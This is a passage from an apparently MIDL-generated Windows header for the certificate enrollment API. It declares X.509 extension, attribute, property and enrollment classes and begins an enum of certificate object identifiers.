__CX509ExtensionAlternativeNames_FWD_DEFINED__ */\n\n\n#ifndef __CX509ExtensionBasicConstraints_FWD_DEFINED__\n#define __CX509ExtensionBasicConstraints_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CX509ExtensionBasicConstraints CX509ExtensionBasicConstraints;\n#else\ntypedef struct CX509ExtensionBasicConstraints CX509ExtensionBasicConstraints;\n#endif /* __cplusplus */\n\n#endif \t/* __CX509ExtensionBasicConstraints_FWD_DEFINED__ */\n\n\n#ifndef __CX509ExtensionSubjectKeyIdentifier_FWD_DEFINED__\n#define __CX509ExtensionSubjectKeyIdentifier_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CX509ExtensionSubjectKeyIdentifier CX509ExtensionSubjectKeyIdentifier;\n#else\ntypedef struct CX509ExtensionSubjectKeyIdentifier CX509ExtensionSubjectKeyIdentifier;\n#endif /* __cplusplus */\n\n#endif \t/* __CX509ExtensionSubjectKeyIdentifier_FWD_DEFINED__ */\n\n\n#ifndef __CX509ExtensionAuthorityKeyIdentifier_FWD_DEFINED__\n#define __CX509ExtensionAuthorityKeyIdentifier_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CX509ExtensionAuthorityKeyIdentifier CX509ExtensionAuthorityKeyIdentifier;\n#else\ntypedef struct CX509ExtensionAuthorityKeyIdentifier CX509ExtensionAuthorityKeyIdentifier;\n#endif /* __cplusplus */\n\n#endif \t/* __CX509ExtensionAuthorityKeyIdentifier_FWD_DEFINED__ */\n\n\n#ifndef __CSmimeCapability_FWD_DEFINED__\n#define __CSmimeCapability_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CSmimeCapability CSmimeCapability;\n#else\ntypedef struct CSmimeCapability CSmimeCapability;\n#endif /* __cplusplus */\n\n#endif \t/* __CSmimeCapability_FWD_DEFINED__ */\n\n\n#ifndef __CSmimeCapabilities_FWD_DEFINED__\n#define __CSmimeCapabilities_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CSmimeCapabilities CSmimeCapabilities;\n#else\ntypedef struct CSmimeCapabilities CSmimeCapabilities;\n#endif /* __cplusplus */\n\n#endif \t/* __CSmimeCapabilities_FWD_DEFINED__ */\n\n\n#ifndef __CX509ExtensionSmimeCapabilities_FWD_DEFINED__\n#define __CX509ExtensionSmimeCapabilities_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CX509ExtensionSmimeCapabilities CX509ExtensionSmimeCapabilities;\n#else\ntypedef struct CX509ExtensionSmimeCapabilities CX509ExtensionSmimeCapabilities;\n#endif /* __cplusplus */\n\n#endif \t/* __CX509ExtensionSmimeCapabilities_FWD_DEFINED__ */\n\n\n#ifndef __CPolicyQualifier_FWD_DEFINED__\n#define __CPolicyQualifier_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CPolicyQualifier CPolicyQualifier;\n#else\ntypedef struct CPolicyQualifier CPolicyQualifier;\n#endif /* __cplusplus */\n\n#endif \t/* __CPolicyQualifier_FWD_DEFINED__ */\n\n\n#ifndef __CPolicyQualifiers_FWD_DEFINED__\n#define __CPolicyQualifiers_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CPolicyQualifiers CPolicyQualifiers;\n#else\ntypedef struct CPolicyQualifiers CPolicyQualifiers;\n#endif /* __cplusplus */\n\n#endif \t/* __CPolicyQualifiers_FWD_DEFINED__ */\n\n\n#ifndef __CCertificatePolicy_FWD_DEFINED__\n#define __CCertificatePolicy_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CCertificatePolicy CCertificatePolicy;\n#else\ntypedef struct CCertificatePolicy CCertificatePolicy;\n#endif /* __cplusplus */\n\n#endif \t/* __CCertificatePolicy_FWD_DEFINED__ */\n\n\n#ifndef __CCertificatePolicies_FWD_DEFINED__\n#define __CCertificatePolicies_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CCertificatePolicies CCertificatePolicies;\n#else\ntypedef struct CCertificatePolicies CCertificatePolicies;\n#endif /* __cplusplus */\n\n#endif \t/* __CCertificatePolicies_FWD_DEFINED__ */\n\n\n#ifndef __CX509ExtensionCertificatePolicies_FWD_DEFINED__\n#define __CX509ExtensionCertificatePolicies_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CX509ExtensionCertificatePolicies CX509ExtensionCertificatePolicies;\n#else\ntypedef struct CX509ExtensionCertificatePolicies CX509ExtensionCertificatePolicies;\n#endif /* __cplusplus */\n\n#endif \t/* __CX509ExtensionCertificatePolicies_FWD_DEFINED__ */\n\n\n#ifndef __CX509ExtensionMSApplicationPolicies_FWD_DEFINED__\n#define __CX509ExtensionMSApplicationPolicies_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CX509ExtensionMSApplicationPolicies CX509ExtensionMSApplicationPolicies;\n#else\ntypedef struct CX509ExtensionMSApplicationPolicies CX509ExtensionMSApplicationPolicies;\n#endif /* __cplusplus */\n\n#endif \t/* __CX509ExtensionMSApplicationPolicies_FWD_DEFINED__ */\n\n\n#ifndef __CX509Attribute_FWD_DEFINED__\n#define __CX509Attribute_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CX509Attribute CX509Attribute;\n#else\ntypedef struct CX509Attribute CX509Attribute;\n#endif /* __cplusplus */\n\n#endif \t/* __CX509Attribute_FWD_DEFINED__ */\n\n\n#ifndef __CX509Attributes_FWD_DEFINED__\n#define __CX509Attributes_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CX509Attributes CX509Attributes;\n#else\ntypedef struct CX509Attributes CX509Attributes;\n#endif /* __cplusplus */\n\n#endif \t/* __CX509Attributes_FWD_DEFINED__ */\n\n\n#ifndef __CX509AttributeExtensions_FWD_DEFINED__\n#define __CX509AttributeExtensions_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CX509AttributeExtensions CX509AttributeExtensions;\n#else\ntypedef struct CX509AttributeExtensions CX509AttributeExtensions;\n#endif /* __cplusplus */\n\n#endif \t/* __CX509AttributeExtensions_FWD_DEFINED__ */\n\n\n#ifndef __CX509AttributeClientId_FWD_DEFINED__\n#define __CX509AttributeClientId_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CX509AttributeClientId CX509AttributeClientId;\n#else\ntypedef struct CX509AttributeClientId CX509AttributeClientId;\n#endif /* __cplusplus */\n\n#endif \t/* __CX509AttributeClientId_FWD_DEFINED__ */\n\n\n#ifndef __CX509AttributeRenewalCertificate_FWD_DEFINED__\n#define __CX509AttributeRenewalCertificate_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CX509AttributeRenewalCertificate CX509AttributeRenewalCertificate;\n#else\ntypedef struct CX509AttributeRenewalCertificate CX509AttributeRenewalCertificate;\n#endif /* __cplusplus */\n\n#endif \t/* __CX509AttributeRenewalCertificate_FWD_DEFINED__ */\n\n\n#ifndef __CX509AttributeArchiveKey_FWD_DEFINED__\n#define __CX509AttributeArchiveKey_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CX509AttributeArchiveKey CX509AttributeArchiveKey;\n#else\ntypedef struct CX509AttributeArchiveKey CX509AttributeArchiveKey;\n#endif /* __cplusplus */\n\n#endif \t/* __CX509AttributeArchiveKey_FWD_DEFINED__ */\n\n\n#ifndef __CX509AttributeArchiveKeyHash_FWD_DEFINED__\n#define __CX509AttributeArchiveKeyHash_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CX509AttributeArchiveKeyHash CX509AttributeArchiveKeyHash;\n#else\ntypedef struct CX509AttributeArchiveKeyHash CX509AttributeArchiveKeyHash;\n#endif /* __cplusplus */\n\n#endif \t/* __CX509AttributeArchiveKeyHash_FWD_DEFINED__ */\n\n\n#ifndef __CX509AttributeOSVersion_FWD_DEFINED__\n#define __CX509AttributeOSVersion_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CX509AttributeOSVersion CX509AttributeOSVersion;\n#else\ntypedef struct CX509AttributeOSVersion CX509AttributeOSVersion;\n#endif /* __cplusplus */\n\n#endif \t/* __CX509AttributeOSVersion_FWD_DEFINED__ */\n\n\n#ifndef __CX509AttributeCspProvider_FWD_DEFINED__\n#define __CX509AttributeCspProvider_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CX509AttributeCspProvider CX509AttributeCspProvider;\n#else\ntypedef struct CX509AttributeCspProvider CX509AttributeCspProvider;\n#endif /* __cplusplus */\n\n#endif \t/* __CX509AttributeCspProvider_FWD_DEFINED__ */\n\n\n#ifndef __CCryptAttribute_FWD_DEFINED__\n#define __CCryptAttribute_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CCryptAttribute CCryptAttribute;\n#else\ntypedef struct CCryptAttribute CCryptAttribute;\n#endif /* __cplusplus */\n\n#endif \t/* __CCryptAttribute_FWD_DEFINED__ */\n\n\n#ifndef __CCryptAttributes_FWD_DEFINED__\n#define __CCryptAttributes_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CCryptAttributes CCryptAttributes;\n#else\ntypedef struct CCryptAttributes CCryptAttributes;\n#endif /* __cplusplus */\n\n#endif \t/* __CCryptAttributes_FWD_DEFINED__ */\n\n\n#ifndef __CCertProperty_FWD_DEFINED__\n#define __CCertProperty_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CCertProperty CCertProperty;\n#else\ntypedef struct CCertProperty CCertProperty;\n#endif /* __cplusplus */\n\n#endif \t/* __CCertProperty_FWD_DEFINED__ */\n\n\n#ifndef __CCertProperties_FWD_DEFINED__\n#define __CCertProperties_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CCertProperties CCertProperties;\n#else\ntypedef struct CCertProperties CCertProperties;\n#endif /* __cplusplus */\n\n#endif \t/* __CCertProperties_FWD_DEFINED__ */\n\n\n#ifndef __CCertPropertyFriendlyName_FWD_DEFINED__\n#define __CCertPropertyFriendlyName_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CCertPropertyFriendlyName CCertPropertyFriendlyName;\n#else\ntypedef struct CCertPropertyFriendlyName CCertPropertyFriendlyName;\n#endif /* __cplusplus */\n\n#endif \t/* __CCertPropertyFriendlyName_FWD_DEFINED__ */\n\n\n#ifndef __CCertPropertyDescription_FWD_DEFINED__\n#define __CCertPropertyDescription_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CCertPropertyDescription CCertPropertyDescription;\n#else\ntypedef struct CCertPropertyDescription CCertPropertyDescription;\n#endif /* __cplusplus */\n\n#endif \t/* __CCertPropertyDescription_FWD_DEFINED__ */\n\n\n#ifndef __CCertPropertyAutoEnroll_FWD_DEFINED__\n#define __CCertPropertyAutoEnroll_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CCertPropertyAutoEnroll CCertPropertyAutoEnroll;\n#else\ntypedef struct CCertPropertyAutoEnroll CCertPropertyAutoEnroll;\n#endif /* __cplusplus */\n\n#endif \t/* __CCertPropertyAutoEnroll_FWD_DEFINED__ */\n\n\n#ifndef __CCertPropertyRequestOriginator_FWD_DEFINED__\n#define __CCertPropertyRequestOriginator_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CCertPropertyRequestOriginator CCertPropertyRequestOriginator;\n#else\ntypedef struct CCertPropertyRequestOriginator CCertPropertyRequestOriginator;\n#endif /* __cplusplus */\n\n#endif \t/* __CCertPropertyRequestOriginator_FWD_DEFINED__ */\n\n\n#ifndef __CCertPropertySHA1Hash_FWD_DEFINED__\n#define __CCertPropertySHA1Hash_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CCertPropertySHA1Hash CCertPropertySHA1Hash;\n#else\ntypedef struct CCertPropertySHA1Hash CCertPropertySHA1Hash;\n#endif /* __cplusplus */\n\n#endif \t/* __CCertPropertySHA1Hash_FWD_DEFINED__ */\n\n\n#ifndef __CCertPropertyKeyProvInfo_FWD_DEFINED__\n#define __CCertPropertyKeyProvInfo_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CCertPropertyKeyProvInfo CCertPropertyKeyProvInfo;\n#else\ntypedef struct CCertPropertyKeyProvInfo CCertPropertyKeyProvInfo;\n#endif /* __cplusplus */\n\n#endif \t/* __CCertPropertyKeyProvInfo_FWD_DEFINED__ */\n\n\n#ifndef __CCertPropertyArchived_FWD_DEFINED__\n#define __CCertPropertyArchived_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CCertPropertyArchived CCertPropertyArchived;\n#else\ntypedef struct CCertPropertyArchived CCertPropertyArchived;\n#endif /* __cplusplus */\n\n#endif \t/* __CCertPropertyArchived_FWD_DEFINED__ */\n\n\n#ifndef __CCertPropertyBackedUp_FWD_DEFINED__\n#define __CCertPropertyBackedUp_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CCertPropertyBackedUp CCertPropertyBackedUp;\n#else\ntypedef struct CCertPropertyBackedUp CCertPropertyBackedUp;\n#endif /* __cplusplus */\n\n#endif \t/* __CCertPropertyBackedUp_FWD_DEFINED__ */\n\n\n#ifndef __CCertPropertyEnrollment_FWD_DEFINED__\n#define __CCertPropertyEnrollment_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CCertPropertyEnrollment CCertPropertyEnrollment;\n#else\ntypedef struct CCertPropertyEnrollment CCertPropertyEnrollment;\n#endif /* __cplusplus */\n\n#endif \t/* __CCertPropertyEnrollment_FWD_DEFINED__ */\n\n\n#ifndef __CCertPropertyRenewal_FWD_DEFINED__\n#define __CCertPropertyRenewal_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CCertPropertyRenewal CCertPropertyRenewal;\n#else\ntypedef struct CCertPropertyRenewal CCertPropertyRenewal;\n#endif /* __cplusplus */\n\n#endif \t/* __CCertPropertyRenewal_FWD_DEFINED__ */\n\n\n#ifndef __CCertPropertyArchivedKeyHash_FWD_DEFINED__\n#define __CCertPropertyArchivedKeyHash_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CCertPropertyArchivedKeyHash CCertPropertyArchivedKeyHash;\n#else\ntypedef struct CCertPropertyArchivedKeyHash CCertPropertyArchivedKeyHash;\n#endif /* __cplusplus */\n\n#endif \t/* __CCertPropertyArchivedKeyHash_FWD_DEFINED__ */\n\n\n#ifndef __CCertPropertyEnrollmentPolicyServer_FWD_DEFINED__\n#define __CCertPropertyEnrollmentPolicyServer_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CCertPropertyEnrollmentPolicyServer CCertPropertyEnrollmentPolicyServer;\n#else\ntypedef struct CCertPropertyEnrollmentPolicyServer CCertPropertyEnrollmentPolicyServer;\n#endif /* __cplusplus */\n\n#endif \t/* __CCertPropertyEnrollmentPolicyServer_FWD_DEFINED__ */\n\n\n#ifndef __CSignerCertificate_FWD_DEFINED__\n#define __CSignerCertificate_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CSignerCertificate CSignerCertificate;\n#else\ntypedef struct CSignerCertificate CSignerCertificate;\n#endif /* __cplusplus */\n\n#endif \t/* __CSignerCertificate_FWD_DEFINED__ */\n\n\n#ifndef __CX509NameValuePair_FWD_DEFINED__\n#define __CX509NameValuePair_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CX509NameValuePair CX509NameValuePair;\n#else\ntypedef struct CX509NameValuePair CX509NameValuePair;\n#endif /* __cplusplus */\n\n#endif \t/* __CX509NameValuePair_FWD_DEFINED__ */\n\n\n#ifndef __CX509CertificateRequestPkcs10_FWD_DEFINED__\n#define __CX509CertificateRequestPkcs10_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CX509CertificateRequestPkcs10 CX509CertificateRequestPkcs10;\n#else\ntypedef struct CX509CertificateRequestPkcs10 CX509CertificateRequestPkcs10;\n#endif /* __cplusplus */\n\n#endif \t/* __CX509CertificateRequestPkcs10_FWD_DEFINED__ */\n\n\n#ifndef __CX509CertificateRequestCertificate_FWD_DEFINED__\n#define __CX509CertificateRequestCertificate_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CX509CertificateRequestCertificate CX509CertificateRequestCertificate;\n#else\ntypedef struct CX509CertificateRequestCertificate CX509CertificateRequestCertificate;\n#endif /* __cplusplus */\n\n#endif \t/* __CX509CertificateRequestCertificate_FWD_DEFINED__ */\n\n\n#ifndef __CX509CertificateRequestPkcs7_FWD_DEFINED__\n#define __CX509CertificateRequestPkcs7_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CX509CertificateRequestPkcs7 CX509CertificateRequestPkcs7;\n#else\ntypedef struct CX509CertificateRequestPkcs7 CX509CertificateRequestPkcs7;\n#endif /* __cplusplus */\n\n#endif \t/* __CX509CertificateRequestPkcs7_FWD_DEFINED__ */\n\n\n#ifndef __CX509CertificateRequestCmc_FWD_DEFINED__\n#define __CX509CertificateRequestCmc_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CX509CertificateRequestCmc CX509CertificateRequestCmc;\n#else\ntypedef struct CX509CertificateRequestCmc CX509CertificateRequestCmc;\n#endif /* __cplusplus */\n\n#endif \t/* __CX509CertificateRequestCmc_FWD_DEFINED__ */\n\n\n#ifndef __CX509Enrollment_FWD_DEFINED__\n#define __CX509Enrollment_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CX509Enrollment CX509Enrollment;\n#else\ntypedef struct CX509Enrollment CX509Enrollment;\n#endif /* __cplusplus */\n\n#endif \t/* __CX509Enrollment_FWD_DEFINED__ */\n\n\n#ifndef __CX509EnrollmentWebClassFactory_FWD_DEFINED__\n#define __CX509EnrollmentWebClassFactory_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CX509EnrollmentWebClassFactory CX509EnrollmentWebClassFactory;\n#else\ntypedef struct CX509EnrollmentWebClassFactory CX509EnrollmentWebClassFactory;\n#endif /* __cplusplus */\n\n#endif \t/* __CX509EnrollmentWebClassFactory_FWD_DEFINED__ */\n\n\n#ifndef __CX509EnrollmentHelper_FWD_DEFINED__\n#define __CX509EnrollmentHelper_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CX509EnrollmentHelper CX509EnrollmentHelper;\n#else\ntypedef struct CX509EnrollmentHelper CX509EnrollmentHelper;\n#endif /* __cplusplus */\n\n#endif \t/* __CX509EnrollmentHelper_FWD_DEFINED__ */\n\n\n#ifndef __CX509MachineEnrollmentFactory_FWD_DEFINED__\n#define __CX509MachineEnrollmentFactory_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CX509MachineEnrollmentFactory CX509MachineEnrollmentFactory;\n#else\ntypedef struct CX509MachineEnrollmentFactory CX509MachineEnrollmentFactory;\n#endif /* __cplusplus */\n\n#endif \t/* __CX509MachineEnrollmentFactory_FWD_DEFINED__ */\n\n\n#ifndef __CX509EnrollmentPolicyActiveDirectory_FWD_DEFINED__\n#define __CX509EnrollmentPolicyActiveDirectory_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CX509EnrollmentPolicyActiveDirectory CX509EnrollmentPolicyActiveDirectory;\n#else\ntypedef struct CX509EnrollmentPolicyActiveDirectory CX509EnrollmentPolicyActiveDirectory;\n#endif /* __cplusplus */\n\n#endif \t/* __CX509EnrollmentPolicyActiveDirectory_FWD_DEFINED__ */\n\n\n#ifndef __CX509EnrollmentPolicyWebService_FWD_DEFINED__\n#define __CX509EnrollmentPolicyWebService_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CX509EnrollmentPolicyWebService CX509EnrollmentPolicyWebService;\n#else\ntypedef struct CX509EnrollmentPolicyWebService CX509EnrollmentPolicyWebService;\n#endif /* __cplusplus */\n\n#endif \t/* __CX509EnrollmentPolicyWebService_FWD_DEFINED__ */\n\n\n#ifndef __CX509PolicyServerListManager_FWD_DEFINED__\n#define __CX509PolicyServerListManager_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CX509PolicyServerListManager CX509PolicyServerListManager;\n#else\ntypedef struct CX509PolicyServerListManager CX509PolicyServerListManager;\n#endif /* __cplusplus */\n\n#endif \t/* __CX509PolicyServerListManager_FWD_DEFINED__ */\n\n\n#ifndef __CX509PolicyServerUrl_FWD_DEFINED__\n#define __CX509PolicyServerUrl_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CX509PolicyServerUrl CX509PolicyServerUrl;\n#else\ntypedef struct CX509PolicyServerUrl CX509PolicyServerUrl;\n#endif /* __cplusplus */\n\n#endif \t/* __CX509PolicyServerUrl_FWD_DEFINED__ */\n\n\n#ifndef __CX509CertificateTemplateADWritable_FWD_DEFINED__\n#define __CX509CertificateTemplateADWritable_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CX509CertificateTemplateADWritable CX509CertificateTemplateADWritable;\n#else\ntypedef struct CX509CertificateTemplateADWritable CX509CertificateTemplateADWritable;\n#endif /* __cplusplus */\n\n#endif \t/* __CX509CertificateTemplateADWritable_FWD_DEFINED__ */\n\n\n/* header files for imported files */\n#include <wtypes.h>\n#include <oaidl.h>\n#include <certcli.h>\n\n#ifdef __cplusplus\nextern \"C\"{\n#endif \n\n\n/* interface __MIDL_itf_certenroll_0000_0000 */\n/* [local] */ \n\n#if defined(MIDL_PASS)\ntypedef typedef void VOID;\n;\n\n#endif\n\n\n\ntypedef \nenum CERTENROLL_OBJECTID\n    {\tXCN_OID_NONE\t= 0,\n\tXCN_OID_RSA\t= 1,\n\tXCN_OID_PKCS\t= 2,\n\tXCN_OID_RSA_HASH\t= 3,\n\tXCN_OID_RSA_ENCRYPT\t= 4,\n\tXCN_OID_PKCS_1\t= 5,\n\tXCN_OID_PKCS_2\t= 6,\n\tXCN_OID_PKCS_3\t= 7,\n\tXCN_OID_PKCS_4\t= 8,\n\tXCN_OID_PKCS_5\t= 9,\n\tXCN_OID_PKCS_6\t= 10,\n\tXCN_OID_PKCS_7\t= 11,\n\tXCN_OID_PKCS_8\t= 12,\n\tXCN_OID_PKCS_9\t= 13,\n\tXCN_OID_PKCS_10\t= 14,\n\tXCN_OID_PKCS_12\t= 15,\n\tXCN_OID_RSA_RSA\t= 16,\n\tXCN_OID_RSA_MD2RSA\t= 17,\n\tXCN_OID_RSA_MD4RSA\t= 18,\n\tXCN_OID_RSA_MD5RSA\t= 19,\n\tXCN_OID_RSA_SHA1RSA\t= 20,\n\tXCN_OID_RSA_SETOAEP_RSA\t= 21,\n\tXCN_OID_RSA_DH\t= 22,\n\tXCN_OID_RSA_data\t= 23,\n\tXCN_OID_RSA_signedData\t= 24,\n\tXCN_OID_RSA_envelopedData\t= 25,\n\tXCN_OID_RSA_signEnvData\t= 26,\n\tXCN_OID_RSA_digestedData\t= 27,\n\tXCN_OID_RSA_hashedData\t= 28,\n\tXCN_OID_RSA_encryptedData\t= 29,\n\tXCN_OID_RSA_emailAddr\t= 30,\n\tXCN_OID_RSA_unstructName\t= 31,\n\tXCN_OID_RSA_contentType\t= 32,\n\tXCN_OID_RSA_messageDigest\t= 33,\n\tXCN_OID_RSA_signingTime\t= 34,\n\tXCN_OID_RSA_counterSign\t= 35,\n\tXCN_OID_RSA_challengePwd\t= 36,\n\tXCN_OID_RSA_unstructAddr\t= 37,\n\tXCN_OID_RSA_extCertAttrs\t= 38,\n\tXCN_OID_RSA_certExtensions\t= 39,\n\tXCN_OID_RSA_SMIMECapabilities\t= 40,\n\tXCN_OID_RSA_preferSignedData\t= 41,\n\tXCN_OID_RSA_SMIMEalg\t= 42,\n\tXCN_OID_RSA_SMIMEalgESDH\t= 43,\n\tXCN_OID_RSA_SMIMEalgCMS3DESwrap\t= 44,\n\tXCN_OID_RSA_SMIMEalgCMSRC2wrap\t= 45,\n\tXCN_OID_RSA_MD2\t= 46,\n\tXCN_OID_RSA_MD4\t= 47,\n\tXCN_OID_RSA_MD5\t= 48,\n\tXCN_OID_RSA_RC2CBC\t= 49,\n\tXCN_OID_RSA_RC4\t= 50,\n\tXCN_OID_RSA_DES_EDE3_CBC\t= 51,\n\tXCN_OID_RSA_RC5_CBCPad\t= 52,\n\tXCN_OID_ANSI_X942\t= 53,\n\tXCN_OID_ANSI_X942_DH\t= 54,\n\tXCN_OID_X957\t= 55,\n\tXCN_OID_X957_DSA\t= 56,\n\tXCN_OID_X957_SHA1DSA\t= 57,\n\tXCN_OID_DS\t= 58,\n\tXCN_OID_DSALG\t= 59,\n\tXCN_OID_DSALG_CRPT\t= 60,\n\tXCN_OID_DSALG_HASH\t= 61,\n\tXCN_OID_DSALG_SIGN\t= 62,\n\tXCN_OID_DSALG_RSA\t= 63,\n\tXCN_OID_OIW\t= 64,\n\tXCN_OID_OIWSEC\t= 65,\n\tXCN_OID_OIWSEC_md4RSA\t= 66,\n\tXCN_OID_OIWSEC_md5RSA\t= 67,\n\tXCN_OID_OIWSEC_md4RSA2\t= 68,\n\tXCN_OID_OIWSEC_desECB\t= 69,\n\tXCN_OID_OIWSEC_desCBC\t= 70,\n\tXCN_OID_OIWSEC_desOFB\t= 71,\n\tXCN_OID_OIWSEC_desCFB\t= 72,\n\tXCN_OID_OIWSEC_desMAC\t= 73,\n\tXCN_OID_OIWSEC_rsaSign\t= 74,\n\tXCN_OID_OIWSEC_dsa\t= 75,\n\tXCN_OID_OIWSEC_shaDSA\t= 76,\n\tXCN_OID_OIWSEC_mdc2RSA\t= 77,\n\tXCN_OID_OIWSEC_shaRSA\t= 78,\n\tXCN_OID_OIWSEC_dhCommMod\t= 79,\n\tXCN_OID_OIWSEC_desEDE\t= 80,\n\tXCN_OID_OIWSEC_sha\t= 81,\n\tXCN_OID_OIWSEC_mdc2\t= 82,\n\tXCN_OID_OIWSEC_dsaComm\t= 83,\n\tXCN_OID_OIWSEC_dsaCommSHA\t= 84,\n\tXCN_OID_OIWSEC_rsaXchg\t= 85,\n\tXCN_OID_OIWSEC_keyHashSeal\t= 86,\n\tXCN_OID_OIWSEC_md2RSASign\t= 87,\n\tXCN_OID_OIWSEC_md5RSASign\t= 88,\n\tXCN_OID_OIWSEC_sha1\t= 89,\n\tXCN_OID_OIWSEC_dsaSHA1\t= 90,\n\tXCN_OID_OIWSEC_dsaCommSHA1\t= 91,\n\tXCN_OID_OIWSEC_sha1RSASign\t= 92,\n\tXCN_OID_OIWDIR\t= 93,\n\tXCN_OID_OIWDIR_CRPT\t= 94,\n\tXCN_OID_OIWDIR_HASH\t= 95,\n\tXCN_OID_OIWDIR_SIGN\t= 96,\n\tXCN_OID_OIWDIR_md2\t= 97,\n\tXCN_OID_OIWDIR_md2RSA\t= 98,\n\tXCN_OID_INFOSEC\t= 99,\n\tXCN_OID_INFOSEC_sdnsSignature\t= 100,\n\tXCN_OID_INFOSEC_mosaicSignature\t= 101,\n\tXCN_OID_INFOSEC_sdnsConfidentiality\t= 102,\n\tXCN_OID_INFOSEC_mosaicConfidentiality\t= 103,\n\tXCN_OID_INFOSEC_sdnsIntegrity\t= 104,\n\tXCN_OID_INFOSEC_mosaicIntegrity\t= 105,\n\tXCN_OID_INFOSEC_sdnsTokenProtection\t= 106,\n\tXCN_OID_INFOSEC_mosaicTokenProtection\t= 107,\n\tXCN_OID_INFOSEC_sdnsKeyManagement\t= 108,\n\tXCN_OID_INFOSEC_mosaicKeyManagement\t= 109,\n\tXCN_OID_INFOSEC_sdnsKMandSig\t= 110,\n\tXCN_OID_INFOSEC_mosaicKMandSig\t= 111,\n\tXCN_OID_INFOSEC_SuiteASignature\t= 112,\n\tXCN_OID_INFOSEC_SuiteAConfidentiality\t= 113,\n\tXCN_OID_INFOSEC_SuiteAIntegrity\t= 114,\n\tXCN_OID_INFOSEC_SuiteATokenProtection\t= 115,\n\tXCN_OID_INFOSEC_SuiteAKeyManagement\t= 116,\n\tXCN_OID_INFOSEC_SuiteAKMandSig\t= 117,\n\tXCN_OID_INFOSEC_mosaicUpdatedSig\t= 118,\n\tXCN_OID_INFOSEC_mosaicKMandUpdSig\t= 119,\n\tXCN_OID_INFOSEC_mosaicUpdatedInteg\t= 120,\n\tXCN_OID_COMMON_NAME\t= 121,\n\tXCN_OID_SUR_NAME\t= 122,\n\tXCN_OID_DEVICE_SERIAL_NUMBER\t= 123,\n\tXCN_OID_COUNTRY_NAME\t= 124,\n\tXCN_OID_LOCALITY_NAME\t= 125,\n\tXCN_OID_STATE_OR_PROVINCE_NAME\t= 126,\n\tXCN_OID_STREET_ADDRESS\t= 127,\n\tXCN_OID_ORGANIZATION_NAME\t= 128,\n\tXCN_OID_ORGANIZATIONAL_UNIT_NAME\t= 129,\n\tXCN_OID_TITLE\t= 130,\n\tXCN_OID_DESCRIPTION\t= 131,\n\tXCN_OID_SEARCH_GUIDE\t= 132,\n\tXCN_OID_BUSINESS_CATEGORY\t= 133,\n\tXCN_OID_POSTAL_ADDRESS\t= 134,\n\tXCN_OID_POSTAL_CODE\t= 135,\n\tXCN_OID_POST_OFFICE_BOX\t= 136,\n\tXCN_OID_PHYSICAL_DELIVERY_OFFICE_NAME\t= 137,\n\tXCN_OID_TELEPHONE_NUMBER\t= 138,\n\tXCN_OID_TELEX_NUMBER\t= 139,\n\tXCN_OID_TELETEXT_TERMINAL_IDENTIFIER\t= 140,\n\tXCN_OID_FACSIMILE_TELEPHONE_NUMBER\t= 141,\n\tXCN_OID_X21_ADDRESS\t= 142,\n\tXCN_OID_INTERNATIONAL_ISDN_NUMBER\t= 143,\n\tXCN_OID_REGISTERED_ADDRESS\t= 144,\n\tXCN_OID_DESTINATION_INDICATOR\t= 145,\n\tXCN_OID_PREFERRED_DELIVERY_METHOD\t= 146,\n\tXCN_OID_PRESENTATION_ADDRESS\t= 147,\n\tXCN_OID_SUPPORTED_APPLICATION_CONTEXT\t= 148,\n\tXCN_OID_MEMBER\t= 149,\n\tXCN_OID_OWNER\t= 150,\n\tXCN_OID_ROLE_OCCUPANT\t= 